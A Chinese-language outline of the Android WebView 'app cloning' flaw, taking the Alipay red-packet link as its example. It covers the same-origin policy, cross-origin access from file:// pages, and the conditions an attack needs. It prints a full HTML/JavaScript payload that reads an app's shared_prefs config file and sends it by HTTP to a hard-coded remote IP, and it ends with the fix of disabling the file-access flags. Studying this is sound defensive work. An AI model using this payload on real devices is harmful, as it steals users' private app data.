支付寶應用克隆
link
應用克隆,從支付寶自動領紅包連結談起
流程總結
自動搶紅包的連結
通過接收外部傳入的URL參數,在APP内進行加載
·
URL Scheme協定
· link
跨域
浏覽器同源政策
·
兩個URL的協定、端口、域名相同,則為同源,互相通路資源不受限制
跨域請求
·
不同的源之間的請求,會被浏覽器所禁止
File協定
主要用于通路本地檔案
·
html檔案
WebView
·
setAllowUniversalAccessFromFileURLs
·
True
File協定的跨域機制
·
File協定中的腳本可以跨域通路其他協定,比如HTTP
攻擊思路
惡意html檔案讀取本地敏感檔案内容,并通過HTTP請求發送至遠端伺服器
WebView加載本地惡意html檔案
漏洞前提
- 攻擊者可以外部調用被攻擊APP,指令其加載一個本地的html檔案(比如搶紅包連結)
- 被攻擊APP的setAllowUniversalAccessFromFileURLs值為true
- 攻擊者需要在被攻擊的手機上下載下傳一個html檔案并儲存在一個可被File協定通路到的位置(可以利用其他漏洞來實作)
payload
<html>
<script>
var arm ="file:///data/data/com.example.q00412688.myapplication/shared_prefs/config.xml";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("statusis"+xmlhttp.status);
if (xmlhttp.readyState==)
{
window.data=xmlhttp.responseText;
alert(window.data);
var url ="http://114.115.139.176/getdata.jsp?data="+window.data;
var xmlhttp2;
if(window.XMLHttpRequest)
{
xmlhttp2=newXMLHttpRequest();
}
xmlhttp2.onreadystatechange=function()
{
//alert("statusis"+xmlhttp.status);
if(xmlhttp2.readyState==)
{
alert(xmlhttp2.responseText);
}
}
xmlhttp2.open("GET",url);
xmlhttp2.send(null);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
</script>
</html>
修複方案
将setAllowFileAccessFromFileURLs和setAllowUniversalAccessFromFileURLs這兩個屬性顯示設定為False。